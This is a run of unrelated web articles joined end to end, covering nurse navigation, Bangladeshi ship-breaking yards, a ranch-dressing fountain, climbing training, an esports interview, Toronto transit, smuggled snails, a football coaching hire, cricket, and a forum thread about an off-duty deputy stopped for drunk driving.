Engagement through nurse navigators can have a significant impact on the bottom line. For one employer, nurse navigation with its high-risk employees (which was voluntary for employees) reduced an historical 40% year-over-year increase in medical costs to an 8% decrease for high-risk, high-cost employees and dependents. Without nurse navigation, that upward trend would have continued. Nurse navigators find these participants through detailed analytics relative to diagnosis, cost, and behavior and can manage and track them via real-time portals. Look for a platform that combines individual analysis with the ability to customize, update, and track each individual's program and progress from beginning to end. Patients can connect via portals or apps that make it easy for the individual to keep track of progress, and nurse navigators can connect face-to-face, through a visual system such as FaceTime or sometimes on the phone. Personal contact is a key element for success.
Navigators also streamline processes and improve efficiency. By managing health risk, they also handle an employer's financial risk. With the right data at their fingertips, they can see not only diagnoses but also behaviors -- how many doctors a person sees and the prescriptions they fill, including any that might cause dangerous drug interactions. This information gives navigators a better picture of what is happening, and they can have face-to-face conversations about what is occurring. It's not uncommon for a high-risk employee with multiple chronic conditions to have 15 unique providers and nine or more unique prescribing doctors, or to use three different pharmacies. With approval, they can reach out to doctors to address gaps in care, or at minimum supply reports to employees to share with their doctors at their next visits.
3. Set expectations and establish good partnerships
Employers are increasingly interested in being involved with a provider that can help manage care for their employees and dependents based on evidence-based analytics. Providers are a great resource for nurse navigation -- clinical care is what they do best -- and what has worked well is approaching those providers with a set of expectations related to how costs can be managed and specific targets for health outcomes.
With the right relationships, expectations, and data, everyone wins. Employers can manage risk and save money by reducing medical and pharmacy costs. Employees are healthier and get the personal support they need in managing their healthcare, which can be overwhelming, especially for those with multiple chronic conditions like diabetes, asthma, or congestive heart failure. Physicians like it because they get information they're not able to see anywhere else. Hospitals and health systems get to build relationships with individual patients, provide a valuable service for the employer, and ultimately grow their volumes and market share.
Network Computing's new Must Reads is a compendium of our best recent coverage of data backup and protection. Learn what you should consider before choosing a cloud backup service, why you must reduce your data footprint if you're going to protect data, and more. Get the new Data Backup & Protection issue of Network Computing Must Reads today. (Free registration required.)
An industry veteran with more than 35 years experience in the healthcare field, Rich Williams holds the position of Principal with Advanced Plan for Health. Founded in 2004, Advanced Plan for Health combines data mining, technology, and healthcare industry... View Full Bio
We welcome your comments on this topic on our social media channels, or [contact us directly] with questions about the site.A seven-kilometer-long (4.3-mile) stretch of beach in Bangladesh is providing work for around 150,000 people. The largest ship scrap yard in the world has emerged near the city of Chittagong in the last four decades here. Around 40 percent of high seas vessels removed from service worldwide are stripped down and broken apart here each year. Sales of doors, kitchens or beds from the ships is booming around Chittagong.
Poor working conditions
Other countries in the region, such as Pakistan and India, also serve as the end destination for many ships. But the business has a dark side: low wages for workers, poor security standards and environment impacts from substances released as the ships are dismantled.
Filmmaker Shaheen Dill-Riaz observed the junkyards in 2008 and said, "There are injuries caused by falling ship parts or tears in ropes, through which the workers can lose a leg or an arm - that's simply part of everyday life there."
The largest ship junkyard in the world is near Chittagong
In his German-language film "Eisenfresser" (Iron Eaters), Dill-Riaz, who is from Bangladesh but has lived in Germany since 1992, illustrates the difficult conditions ship junkyard workers encounter.
Dill-Riaz says he finds it especially disgraceful that the Bangladeshi government as well as European shipping companies, from the fleets of which around 75 percent of the boats in question come, simply look away.
"One doesn't just leave old automobiles sitting out somewhere," the filmmaker explained, adding, "You have to bear the costs of getting rid of it - why shouldn't it work that way with ships, too? It's just a question of will."
Sharing the burden
The European Union now wants to see European shipping companies take on more responsibility for disposal of the vessels. Currently, ships in service in Europe can be sold to non-EU countries after about eight years, and only scrapped many years later. Under this scheme, the costs for doing so fell to the most recent owner, rather than the first owner.
Thanks to an initiative by members of the European Parliament, European shippers may soon have to pay three cents per ton freighted into a special fund once they dock at EU harbors. For a 100,000 ton shipment, that translates to a 3,000-euro fee, which will then flow to junkyard operations in Southeast Asia. It's a kind of disposal tax, which would be intended to improve working conditions and environmental standards.
Ships are scrapped in Pakistan as well, for a wage of around 2 euros per day
But European shipping companies seem disinclined to share the costs for ship scrapping.
"The fact that a ship landing in a junkyard after however many years may originally have had a German owner does not mean that this first owner should be held responsible for some unapproved scrap disposal," said Ralf Nagel, head of the Association of German Shippers (VDR).
Nagel would prefer to see quick implementation of existing regulations, like the Hong Kong Convention of 2009, which establishes that scrap disposal must take place under humane and environmentally-friendly conditions. The Hong Kong Convention has yet to be ratified.
"The suggestions from Brussels will undermine this agreement," Nagel believes, adding: "Which doesn't help the people one is intending to help at all."
Nagel rejects the disposal fund proposal as a "solely EU" solution in which the collected money is unlikely to actually arrive in Southeast Asia. Even if the money lands in the right place, the VDR head says that wouldn't solve the problem: "The European Parliament has good intentions, but it would really only create at best a few green recycling islands - but no concrete help for the people there."
Seeking a solution
Filmmaker Shaheen Dill-Riaz has studied life in ship junkyards
Dill-Riaz also points a finger at the UN's International Maritime Organization (IMO).
"The IMO could compel its members to bear some responsibility - the organization is aware of who is selling these ships, but doesn't own up to that," the filmmaker said.
But the ship junkyards cannot be closed, despite questionable on-site conditions, Dill-Riaz added. "It would be unfair to the people - they've been doing it for 40, 50 years. That's part of the economy; people are involved. You have to find a solution within the system."
Despite the enormous investments costs, new and more modern disposal docks could be built, Dill-Riaz says. People would then have a safer and greener coastal workplace.Get the latest from TODAY Sign up for our newsletter
March 13, 2017, 11:10 PM GMT / Source: TODAY By Tracy Saelinger
If National Ranch Dressing Day passed you by last week before you had the chance to celebrate, don't fret — the ranch-fountain craze is just getting started.
Oh yes, perhaps sensing consumer burnout on the now-ubiquitous chocolate fountain, Hidden Valley has unleashed the Ranch Fountain.
Hidden Valley is rolling out a line of merch, including this ranch-dressing fountain. Hidden Valley
Part of a new line of ranch dressing–inspired goods, the four-tier, $100 ranch fountain comes with a year's supply (12 bottles) of the condiment.
Measuring about 18 inches tall, it's not quite large enough to bathe in, though you can still use it for its intended purpose of dipping chicken wings, french fries, pizza, mozzarella sticks, or even the occasional veggie.
"In the past, we’ve had requests from people throwing milestone birthday parties, even brides-to-be, for ranch fountains, and they would present the fountain alongside crudité and their favorite finger foods," a Hidden Valley spokesperson told TODAY.
RELATED: Mason Jar Cobb Salad with Bacon-Ranch Dressing
Though the dressing is meant to be served cold, the fountain does have separate motor/heat switches, so it could be used for chocolate, at the right consistency. Though, a chocolate fountain is feeling positively retro in the light of this discovery. It makes us wonder what else these appliances could be used for — maybe dueling cascades of ranch and Buffalo sauce?!
The fountain comes with a year's supply of ranch dressing. Hidden Valley
Ranch dressing — made popular by an actual Hidden Valley dude ranch in California in the 1950s — has enjoyed something of a resurgence in recent months. It's been spotted on menus by big-name chefs in New York, Chicago and Los Angeles, and one restaurant, Twisted Ranch, in St. Louis, Mo., goes as far as incorporating house-made ranch seasoning or dressing into every dish.
One thing's for sure: Have your crudité ready, because we can pretty much guarantee you'll run into one of these bad boys at some point this summer.What's everyone flogging themselves so hard for again?
Boulder, Colorado, probably has more pro climbers per capita then anywhere else in the country. I often joke that they don’t even let you into the county unless you can climb 5.12c! There are so many pro climbers here that none of us can even get into Movement Climbing + Fitness for free, where on an average weekday I’ve seen Alex Puccio busting one arm pull-ups before breakfast and Daniel Woods lapping V12 like it’s V2.
Just a few blocks from Movement, lies ABC Kids Climbing, one of the few kids-only climbing gyms in the world. Here, Robyn Erbesfield and her coaches train some of the most competitive kids climbing teams in the country. When a couple 12-year-olds onsight my gym proj, they are usually from Team ABC, but sometimes they are from one of the other three kids teams in town: The Boulder Rock Club, The Spot Bouldering Gym, or, yes, Movement. That a city of 100,000 people can support four climbing gyms, five if you count CATS (a gymnastics-focused gym with an epic systems board), is a testament to how goddamn many climbers there are in Boulder. It’s actually a good day when a 12-year-old flashes my project. It’s just embarrassing when a 9-year-old does.
I think it’s fair to say that the vast majority of climbers—especially those under 18—spend the vast majority of their climbing hours indoors on plastic, and a certain percentage of them climb exclusively in the gym. And not all of that gym-time is spent climbing. To rise to a competitive level, you need to do core, cardio, campus boarding, systems boarding, hangboarding,...waterboarding, and in some cases subsisting on a highly regulated low-calorie diet. Boulder has become a crucible for the country’s most cutting-edge climbing training—and honestly, I see some really strong climbers who look totally fucking miserable. To be fair, I also see people who seem to love the pain and suffering of an endless training regimen.
Call me old fashioned, but I think climbing should be fun, and I question the fun in training 12 months a year!
Maybe it’s because I learned before the explosion of climbing gyms, on real rock, and dirtbagged in Yosemite for most of my early adulthood. Maybe it’s because I’m a “lifestyle climber,” not a “performance climber,” as Alex Honnold continues to inform me, but for whatever reason, all this constant training that I’m surrounded by is really starting to annoy me. Even this, my first column for Mountain Project, comes amid a slew of training-themed stories. Argghhhh! I can’t escape it!
I swear some people are just training for the Ultimate Training Day, a day where they train HARDER. THAN. THEY’VE. EVER. TRAINED. BEFORE!...Which seems a little hollow, to have no practical end-goal to your training. But if you train for the sake of attempting a legendary climb, for instance freeing El Cap or climbing a classic desert tower, or hell, just putting to bed that 50-foot sport route that shut you down last fall, well that changes things entirely. Now you’ve got a goal beyond being able to hang from the door jam in your house with one hand.
“What’s your problem?” you might say. “It doesn’t hurt you, that some freak has been hangboaring nonstop for three months without touching real rock.” And you’d be right; my own issues and baggage are probably at play to some degree here. There are certainly worse ways to spend your time; it just bugs the hell out of me. Call me old fashioned, but I think climbing should be fun most importantly, and I question the fun in training 12 months a year!
For me, climbing is about visiting and exploring beautiful and wild places, and also exploring my own creativity and potential in that environment. Show me someone who said they had the time of their life doing weighted deadhangs all day in the gym, and I’ll show you someone I’d like to slap in the face. The last sunset I watched through the windows of the gym was kind of lackluster if you know what I’m saying.
It’s a pretty common to see a climber who onsights 5.12, or even 5.13, in the gym but can’t onsite 5.11 outdoors.
Another more practical beef I have with this frenzied focus on indoor training is that it often makes for poor outdoor climbers who aren’t very well rounded. It’s a pretty common phenomena to see a climber who onsights 5.12, or even 5.13, in the gym but can’t onsite 5.11 outdoors—and if you put them on a 5.8 fist crack, they would die for certain! Not to bag too hard on competitive climbers–I recently watched the ABS nationals live feed and was screaming encouragement into the screen at Ashima and Puccio. I was so stoked on their athleticism.
But it seems like a missed opportunity to push the progression of climbing if we don’t prepare the next generation of kids for something more than the next comp. The luckiest kids are the ones who have climber parents that realize the importance of exposing their children to all the facets of the sport. Beyond the beauty and fun of real rock is the fact that it gives children’s bodies a break from the relentless, high-intensity climbing gym regime.
I urge the uber-trainers to take a chill pill now and again.
The third assault in my self-righteous bitch-fest about the evils of training is on people overtraining to the point of injury. So many people ignore the most important (and obviously most fun) part of training: recovery. I see people nursing blown tendons, elbow tendonitis, or worse because they’re training themselves into oblivion. I urge the uber-trainers to take a chill pill now and again. If you live in Boulder you can buy your chill pills legally at the nearest dispensary! Seriously, though, listen to your body. What is your body telling you? My guess is something like: “What the hell are you doing to me?! Why? My tendons are hanging on by a thread, and my rotator cuffs are about to come unglued!”
Consider playing the long game instead. The best way to get into shape (especially as you age) is never to get out of shape. And one of the best ways to avoid getting out of shape is staying injury free, taking rest days, staying in tune with your bio-rhythms and the general ebbs and flows of performance and durability. Would you rather climb a letter grade harder for the next year, or climb a little less hard well into your seventies?
I’m loath to admit it, but there is a lot I could train.
Of course, I’ll have to admit that the advancements in our sport, since the Golden Age of climbing came and went, would not be possible without dedicated training. John Bachar, still one of the best free soloists of all time, had a religious training regimen, as did Tony Yaniro who established the first 5.13 in America, a 5.13c trad-line no less! Wolfgang Gullich revolutionized difficulty in sport climbing, largely thanks to his invention and heavy use of the Campus Board. Training obviously works. In fact, I’ve recently had to take a good hard look in the mirror and realize that maybe I’m just lazy, especially when it comes to training, and that I could transition from “lifestyle climber” to “performance climber” if I just (shudder) trained more. If only drinking whisky cocktails strengthened your tendons, I wouldn’t have to have this come-to-Jesus moment.
Part of smart training is targeting your weaknesses. If I have a weakness in my own climbing, it’s definitely finger strength, lock off strength, general power, power endurance, and endurance. Also, I could work on my core strength, dynamic moves, heel hooking, and get stronger on pockets, crimps, slopers, underclings, and mantles. I am really strong on handle bar jugs though, and show me a chossy, kitty litter overhang, or a horrendous offwidth invert, and I’ll probably look pretty cutting edge. So, though I’m loath to admit it, there is a lot I could train.
The other day, after a brisk four-mile run, I did a few dead hangs while I drank my beer, and I felt pretty good about myself, almost like I was a real athlete.
In the last couple weeks, I’ve secretly dabbled in some Very Light Training. The other day, after a brisk four-mile run, I did a few dead hangs while I drank my beer, and I felt pretty good about myself, almost like I was a real athlete. But maybe I could do better than getting slightly inebriated while hanging from crimpers and watching Stranger Things on Netflix.
Which brings us to the real reason behind my anti-training diatribe: The gyms are too damn busy. The Moonboard is always taken. The campus board is completely sweat-soaked. I can’t get a spot in the core class, and there are too many lookyloos to do 4x4s in the bouldering cave! But, if I can inspire people to stop training so frigging much and go outside, maybe I can finally get a spot in line.Congratulations on making it into WCS EU Premier League! You’ve finally earned your spot after four long qualifiers! How do you feel about your performance today?
I am extremely ecstatic because this is the first ever qualifier that I was able to win since the start of my Starcraft II progaming career.
First off, you are a Korean progamer living and practicing in North America, and yet you’re participating in WCS Europe. What made you choose EU over NA or KR?
I was originally planning to choose NA as my region because of my current living situation. However, due to the sudden increase in competition in NA due to the influx of Korean progamers, I decided that choosing EU would be a better fit for me.
You had to go through all four qualifiers before you finally earned your seed. What’s your opinion on having best-of-one (Bo1) series in such an important qualifier like WCS? Were you nervous going into the final day?
It is so easy to lose and feel empty afterwards in a best-of-one series because you only get one chance. I was not particularly nervous during the games. The only time that I ever felt nervous was towards the end of the game against TargA due to the excitement from the fact that I was so close to winning the qualifier.
You came extremely close in the 3rd WCS EU Qualifier losing out 2-0 to KrasS in the Semi-Finals. Was that a series you were expecting to win? How did you feel after the series being so close to grabbing a spot in the Premier League?
I met KrasS multiple times on ladder and I have never lost to him, so I was very upset with myself because I lost to the all-in strategies both games. I was even more stressed out by the fact that there was now only one qualifier left after that.
You showed a dominating series of performances today, finishing off all of your opponents 2-0. You are now the first and only Korean to make it through the qualifiers for WCS EU Season 1. Was the competition harder than you expected? Did you predict anyone would make it through that didn’t?
It was not the competition but the latency that was the problem since I was playing from Clarity Gaming team house in NA. If I had lived in EU without any latency, I think I would have won a qualifier earlier. Even though a lot of people expected the Korean players to qualify, I thought that they would have a hard time qualifying due to the latency.
The WCS has undergone several changes since last year which have been subject to considerable heated discussion. What are your thoughts on Blizzard’s new approach to WCS, is there anything you particularly like or dislike?
I did not care about the system or rule changes because I only had one goal in my mind: to get through the qualifier. I am a strong believer that as long as I try hard and practice, good things (results) will follow. So I only practiced. My only dislike about the changes is the decrease in the prize pool for the winners and the runner-ups. I also personally think that foreigners would be extremely disappointed at the participation of the Koreans at their regional qualifiers.
Now that you’ve qualified, what are your goals for this season of WCS?
I will work and practice hard to show good results.
Thank you very much for taking the time to talk with me this evening and congratulations again on earning your seed in the Premier League for WCS EU! Do you have any shout-outs/thank-you’s to make or want to say anything to your fans?
First of all, I would like to thank my Skype family for being supportive of each other. I also want to thank my team, Clarity Gaming, my teammates, and especially Brandon for helping me focus on the game. I want to give a huge shout-out to a friend Young-Hoon Jo, who has always believed in my potential since I started my progaming career. I also want to thank all the fans for the support and the love.
Follow Clarity Gaming:
WCS EU has been very well defended by Europe's finest in their qualifiers, a big congratulations to Happy, Dayshi, Feast, Bunny, KrasS and Strelok. Unfortunately that streak ended yesterday at the hands of our incredible Terran player Seongjin "cShuttle" Choi! We would like to congratulate Korea's first qualified player in WCS Europe and Clarity Gaming's second player overall in WCS worldwide (cKiller received an invite to WCS NA).Shuttle is currently living and practicing at the Clarity Gaming Training Facility, New York and I had an opportunity to talk to him about his victory!An interview withSheppard subway The 5.5-kilometre stub running east from Yonge to Don Mills serves just 48,250 trips on an average weekday (6.6 per cent of what the Yonge-University line gets), only 2,530 of which take advantage of Bessarion – it'd be the TTC's least-used station if not for Ellesmere on the Scarborough RT line [pdf]. Like every transit project in Toronto, its genesis was convoluted, but it was the darling of former North York (then Toronto) mayor Mel Lastman, who managed to keep the dream alive even as the Mike Harris government kiboshed other lines. "Without [Sheppard], we might as well go out of business," Lastman said in 1995. When, the next year, Metro council surprised even itself by voting to spend $130 million to dig tunnels without stations or tracks, the Star ran one of those perfect Toronto transit headlines: Chaos As Council Approves A Train To Nowhere. Luckily for Metro, the province considered this a demonstration of sufficient commitment and gave them the rest of the money.
Toronto-York Spadina Subway Extension The density around Downsview Park, York University and the line's terminus in York Region didn't, still doesn't and may never support a subway. So why are we getting it? "A senior TTC official describes the planned Spadina subway extension into York Region as purely political, adding an expletive describing horse excrement for effect," reported the Globe. The line was the baby of former provincial finance minister Greg Sorbara, a York alumnus whose Vaughan riding would be at the route's edge. Originally announced with a 2015 opening at a cost of $1.5 billion, it's now set to be finished at the end of 2017, at a cost of a billion more.
Union Pearson Express Not a subway, of course, and barely even public transit, the UP Express remains a tribute to bizarre transportation priorities. Envisioned as a private project called Blue 22 to be built and run by SNC-Lavalin, the train was announced in 2003 with an opening date of 2008. It would cost $20 for a 22-minute ride from Union Station to Pearson Airport. That didn't happen. By 2010, the province wanted something ready for the Pan Am Games and decided that it should be a public project instead; they handed responsibility to Metrolinx, which spent $456 million on the service, including – as the Star revealed – $4.5 million to commission branding that would "lure choice riders." It opened earlier this year, with a $27.50 fare for a 25-minute trip (cheaper if you get on or off at Bloor or Weston).
The train is officially hitting its modest ridership goals, but there's a very long way to go before it could possibly break even on its operating costs. In the meantime, we can dream about how half a billion dollars could have built transit for underserved Torontonians rather than the premium class of business travellers who are now saved the embarrassment of taking a cab.
The line on downtown relief
The problem: The Yonge subway line is crowded, especially during rush hour and especially south of Bloor. Holy crap, is it crowded. In peak periods, it's actually running 11 per cent above its current capacity of 28,000 passengers per hour per direction (pphpd).
The bigger problem: A number of short-term solutions are being implemented to squeeze in more capacity (including automatic train control that will allow the trains to run closer together), increasing it to 36,000 pphpd in a few years. The Toronto-York Spadina Subway Extension will ease pressures a bit, as will the province's Regional Express Rail (RER) plan to run trains along GO corridors more frequently. But with expected population growth, the Yonge line will once again be flirting with disaster by 2031, and there won't be any quick fixes left [pdf].
The false solution: SmartTrack may have its merits, but it wouldn't relieve pressure on the Yonge line to any significant extent. Metrolinx looked at the effect that an enhanced RER (essentially SmartTrack) would have and determined it'd pull away only 400 southbound riders per hour in the morning peak.
The real solution: A proper relief line downtown. The city is studying a subway that would connect King or Queen (and maybe St. Andrew or Osgoode) to Broadview or Pape station on the Danforth. Metrolinx estimates such a route would suck 6,000 passengers away from the Yonge subway and another 6,100 from the Bloor-Danforth line during the morning peak. And if the relief line continued past Danforth all the way up to Sheppard and Don Mills, that'd divert 11,600 riders off Yonge.
The bigger problem, part 2: A relief line would cost $3.5 billion if it connected downtown to the Danforth or $7.8 billion if it went up to Sheppard. And there's no money for the project, despite its officially being a top priority for the city, TTC and Metrolinx. At the moment, it stands behind both the Scarborough Subway Extension and SmartTrack in the funding line. Given how long it takes to build a subway, we have to get this shit sorted out soon.
Sources: Metrolinx, City of Toronto, TTC
Don't miss: Train wreck: Why Toronto doesn't get the transit it deservesSixty-seven live giant African snails were discovered in two picnic baskets at the Los Angeles International Airport earlier this month. The snails, which collectively weighed 35 pounds, were sent from Lagos, Nigeria, to a person in San Dimas, Ca., and were apparently intended for human consumption.
This is, according to the Los Angeles Times, the most snails Customs has ever dealt with:
In the past, federal inspectors have discovered one or two of the large snails hidden in luggage, but this marked "the first time this pest has been encountered in such large quantity and as a consumption entry" in Los Angeles, said Todd C. Owen, director of field operations for the customs agency. Giant African snails, also known as land snails, can live as long as 10 years and grow up to eight inches long. The snails can carry parasites harmful to humans.
Owing to the snails' potential threat to humans, they were incinerated after being inspected, Lee Harty, a spokeswoman for U.S. Customs and Borders told the Associated Press. But apparently it's no big deal if you accidentally bring crop-killing, possibly-people-hurting mollusks into the country.
"We're investigating what happened but it doesn't seem like there was smuggling involved. When someone doesn't know a commodity is prohibited under USDA regulations there is usually no punishment," Maveeda Mirza, CBP program manager for agriculture, told the Associated Press.
[Image via Los Angeles Times/U.S. Customs and Border Protection]TALLAHASSEE, Fla. - Florida State head coach Jimbo Fisher has tabbed Alabama secondary coach Jeremy Pruitt as the new defensive coordinator for the Seminoles. Pruitt becomes just the third defensive coordinator in the last 28 years at FSU and replaces Mark Stoops who was named head coach at the University of Kentucky.
"I'm very excited to add Jeremy to our staff," Fisher said. "He brings a lot to the table. He's one of the bright young coaches in college football. He's done an outstanding job at Alabama and in the past as a great high school coach. He's also a good recruiter, but most importantly of all, he's a great person. I'm really looking forward to him coming to Florida State and helping us to continue achieving the success that we've had and will continue to have. We're very fortunate to be adding him to our program."
"This is a great opportunity for me to join another one of the top college football programs in the country and take over as defensive coordinator for one of the best defenses out there," Pruitt said. "I really appreciate Coach Fisher and his staff in welcoming me to the Seminole family. I've enjoyed my time at Alabama and am grateful to Coach Saban and my Crimson Tide family for their support in preparing me as I begin the next chapter in my coaching career."
Pruitt, 38, has spent the last three seasons directing one of the best defensive backfields in the country for one of the nation's best defenses. Since Pruitt has coached the secondary at Alabama, the Crimson Tide has ranked in the top 10 in pass efficiency defense and top 15 in pass defense in all three seasons while also ranking in the top five in total defense and scoring defense. Pruitt also has been recognized as a tremendous recruiter. He was named as "National Recruiter of the Year" by 247Sports.com last year in helping Alabama land the No. 1 recruiting class in the nation.
"Jeremy did an outstanding job for us and the opportunity for him to become the defensive coordinator at Florida State is well deserved," Alabama head football coach Nick Saban said. "We always want our coaches to grow and advance in the profession and Jeremy has worked very hard through the years to earn this opportunity and put himself in this situation. We appreciate all that he has done to contribute to the success we've had at Alabama and wish him the best in his new role."
Pruitt has made an impact in Tuscaloosa his last two seasons. In 2012, Alabama ranks No. 6 in pass defense yielding just 166.23 yards per game and No. 8 nationally in pass efficiency defense (101.56) while also leading the nation in total defense (246.00 ypg), rushing defense (79.77 yards per game) and ranking second in scoring defense (10.69 points per game). In 2011, Alabama not only led the nation in pass defense (111.46 ypg) and pass efficiency defense (83.69 ypg), but the Crimson Tide led the nation in rushing defense, total defense and scoring defense on its way to winning the BCS National Championship.
A former defensive back with the Crimson Tide, Pruitt's knowledge on defense has helped Alabama to two Southeastern Conference Championships, two BCS National championship game berths and one BCS national title in the last three years. His secondary in 2011 produced three NFL draft picks in first rounders safety Mark Barron (No. 7 pick by the Tampa Bay Buccaneers) and cornerback Dre Kirkpatrick (No. 17 pick by the Cincinnati Bengals). Cornerback DeQuan Menzie was taken in the fifth round by the Kansas City Chiefs.
In 2012, Pruitt's secondary overcame the loss of three NFL Draft picks to become one of the best in the nation. Junior cornerback Dee Milliner led the group with 51 tackles, 18 pass breakups and two interceptions en route to earning first-team All-America honors. A finalist for the Jim Thorpe Award, Milliner ranks third nationally in passed defended with 1.67 per game.
The 2011 Alabama secondary was one of the best in the nation, boasting a pair of AFCA first-team All-Americans in Barron, a finalist for the Thorpe Award, and Menzie. Kirkpatrick made it three first-team All-Americans in the secondary when he and Barron received that honor from the FWAA.
Pruitt took over the Alabama secondary following the 2009 National Championship and the loss of three starters in the backfield. Under the tutelage of Pruitt, a young group came together quickly and helped Alabama lead the SEC in total defense, scoring defense and pass efficiency defense. The Crimson Tide finished 13th nationally in pass defense yielding 176.23 yards per game and sixth in pass efficiency defense (103.54) while Alabama ranked third nationally in scoring defense (13.54 ppg), fifth in total defense (286.38) and 10th in rushing defense (110.15 ypg). The 2010 secondary was anchored by Barron, who was named a first-team FWAA All-American. Barron led the Tide with 75 tackles in 12 games in 2010. Robert Lester also had a significant impact at safety earning second-team Walter Camp All-American honors while ranking second nationally with eight interceptions. At corner, Kirkpatrick was a second-team All-SEC pick, while Milliner was a freshman All-American and freshman All-SEC selection.
Pruitt joined the Alabama staff as Director of Player Development in 2007 after a successful stint as an assistant coach at Hoover (Ala.) High School. At Hoover, he served for three seasons as defensive backs coach with the final two as the defensive coordinator. He tutored a defense that helped the Bucs reach the Class 6A state championship in 2004, 2005 and 2006, winning titles in 2004 and 2005. Pruitt served
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years of her youth," Mirsch says, "and now only sucks on weekends."Black Caps leg spinner Ish Sodhi has more cause for celebration after his Big Bash call up by the the Adelaide Strikers.
The Mount to the MCG - that's the journey Black Caps leg spinner Ish Sodhi is undertaking after he was called into the Adelaide Strikers Big Bash squad.
And it's a mountain of sorts to climb for the 24-year-old, with Sodhi joining a franchise that is running sixth in Australia's eight-team T20 competition.
Sodhi, who took 2-22 in the third and final T20 international with Bangladesh in Mount Maunganui on Sunday flew to Australia less than 24 hours later after being named in the Strikers' 13-man squad to face the Melbourne Stars on Tuesday night.
The Strikers had to call for reinforcements after off spinner Travis Head and pace bowler Billy Stanlake were named in Australia's ODI to play Pakistan.
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All-rounder Chris Jordan is also unavailable due to injury.
Sodhi has been summoned alongside wicketkeeper Tim Ludeman and promising quick Wes Agar.
Fortunately for Sodhi, the Stars are depleted by the loss of the hard-hitting Glenn Maxwell, Adam Zampa and James Faulkner.
After their MCG experience the Strikers play the Melbourne Renegades at the Adelaide Oval next Monday.Skip to comments.
Deputy stopped, not arrested after drinking, driving (WILLIAMSON COUNTY, TX)
USTIN AMERICAN-STATESMAN STAFF ^ | Tuesday, February 22, 2005 | By Melissa Ludwig
Posted on by Arrowhead1952
By Melissa Ludwig
AMERICAN-STATESMAN STAFF
Tuesday, February 22, 2005
Police say they couldn't legally prove deputy was intoxicated in Feb. 6 incident
ROUND ROCK An off-duty Williamson County sheriff's deputy stopped by police this month smelled of alcohol, but was not arrested because he refused a field sobriety test and officers could not prove he was legally drunk, according to police reports.
Deputy Craig Ferguson was driving home from Hooters in Round Rock, where he drank a "couple of pitchers" of beer and hung out with lieutenants and other "high on the hog" personnel, when Sgt. Nathan Zoss noticed him weaving in a black Toyota Tacoma on Louis Henna Boulevard, the police reports show.
The officer called the deputy's supervisors to the scene and an internal affairs investigation into his actions is ongoing, said John Foster, a spokesman for the department. Foster said investigators will interview other department employees who were at Hooters.
Foster said Ferguson could not comment while the investigation is pending.
The police reports and a video from Zoss' patrol car obtained through the Texas Public Information Act detail what happened after Zoss pulled Ferguson into the parking lot of a Target store about 12:30 a.m. Feb. 6.
When Ferguson pulled out his driver's license, Zoss saw his badge and discovered he was a sheriff's deputy. Zoss could smell alcohol on Ferguson's breath and asked him to step out of the truck and take field sobriety tests, such as standing on one leg and walking in a straight line.
The video shows Ferguson stumble as he got out of the car, and officers ask him to submit to a field sobriety test.
"I'm not going to do any of that," Ferguson told the officer.
Zoss later wrote in his report that without the deputy's cooperation, he did not think he had enough proof that Ferguson was legally drunk. At that point, he called Ferguson's supervisors.
When Sgts. Sharif Mezayek and Patrick Erickson arrived, Ferguson told them he drank "a couple of pitchers" of beer at Hooters. They told him to take the sobriety test, but he continued to refuse.
On the video, Zoss tells other officers that if Ferguson were a civilian, he could call someone to take him home, or arrest him for traffic violations. But the jail might refuse a prisoner with minor charges, Zoss said.
Officers treated Ferguson "just like any other citizen," said Round Rock officer Eric Poteet, a spokesman for the department.
"In fact, he was held to an even higher standard," Poteet said. "In a case where there is not probable cause to arrest, we do not call someone's employer."
When law enforcement officials suspect someone is driving drunk, they must observe enough clues stumbling, slurred speech, the smell of alcohol to establish probable cause. That allows an officer to make an arrest, said Chris Heaton, president of the Texas Municipal Police Association.
"If he doesn't have the cooperation of the person and doesn't have enough visual, verbal and other clues to have probable cause, then it is a judgment call from the officer's standpoint," Heaton said.
Heaton said state law does not allow the officer to confiscate a driver's license for refusing to take a field sobriety test. Officers can take away a license if the driver refuses a breath test, but only after probable cause has been established, according to the Texas Department of Public Safety.
During the traffic stop, Round Rock officers did not take Ferguson's license. Instead, Zoss issued Ferguson two traffic citations for stopping in the wrong place and disregarding traffic control devices and allowed Ferguson's wife to drive him home.
On the video, Zoss complains that Ferguson's behavior put officers in a tough spot.
"You put us in a difficult situation here," Zoss said to Ferguson. "You're not getting any break. Our agency doesn't do that and yours doesn't either. The law is the law, and we are pretty solid on all that."
Ferguson, according to police reports, sat on the curb and lamented that his sergeant told him not to go out that night:
"I knew I shouldn't have gone out tonight," Ferguson said, according to police reports written by Round Rock police officers. "I'm in so much trouble. My wife is going to kill me."
In Heaton's opinion, calling Ferguson's supervisors showed that Round Rock police did not give him any breaks because he is a fellow lawman.
"If he refuses to cooperate, he could end up losing his career," Heaton said. "If he is charged with DWI, that could be career-ending as well."
TOPICS:
Crime/Corruption
Culture/Society
Government
Miscellaneous
News/Current Events
US: Texas
KEYWORDS:
cops
donutwatch
dui
dwi
govwatch
leo
This is highly unusual for Williamson County Law Enforcement to let a DWI go, even though it was another officer. Looks like "I'll scratch your back if you scratch mine" deal. Hold my Hooters beer pitchers alert.
To: Arrowhead1952
Kinky will clean up this mess.
To: Arrowhead1952
So weaving in your vehicle, smelling of alcohol and admitting to drinking a couple pitchers of beer is not enough probable cause for a Breathalyzer test? Here in Michigan, if you refuse the Breathalyzer, they take your license, haul you off to jail and get a warrant to take your blood.
by 3 posted onby wmichgrad ("The man is insane. He has lost his mind" Rush Limbaugh 1/28/05 re: Sen. Kennedy's remarks on Iraq)
To: Arrowhead1952
I have a nephew with a heavy right foot who also happens to be in the Highway Patrol. Whenever he is stopped for speeding, he presents his driver's license that bears his photo in uniform and wearing his Smoky-the-Bear hat. For some reason, he never gets a ticket. I cannot figure it out.
To: Arrowhead1952
Crookedness is more blatant with the POWERFUL than the powerless.
To: battlegearboat; MeekOneGOP; maeng; ValerieUSA; txflake; WinOne4TheGipper; DrewsDad; HiJinx;...
Williamson county DWI deputy ping....
by 6 posted onby Arrowhead1952 ("I hate the Republicans and everything they stand for," - Howard Dean 01/29/2005)
To: wmichgrad
Williamson County is just north of Austin and is the antithesis of Travis county in every way. I remember after the elections in Nov., seeing a pic of Texas with the countys designated red or blue. Travis County, Austin, was red and floating in an ocean of blue. I was in Georgetown,Tx.( Williamson County ) last Thanksgiving and headed home to Houston on I-35. I had been on 35 for no more than a couple of minutes when I was pulled over by a County Cop. He READ ME THE RIOT ACT for changing lanes without signalling. THAT is Williamson County.
by 7 posted onby MAWG (Diversity is where everyone looks different but thinks the same way.)
To: Arrowhead1952
Anybody really surprised by this?
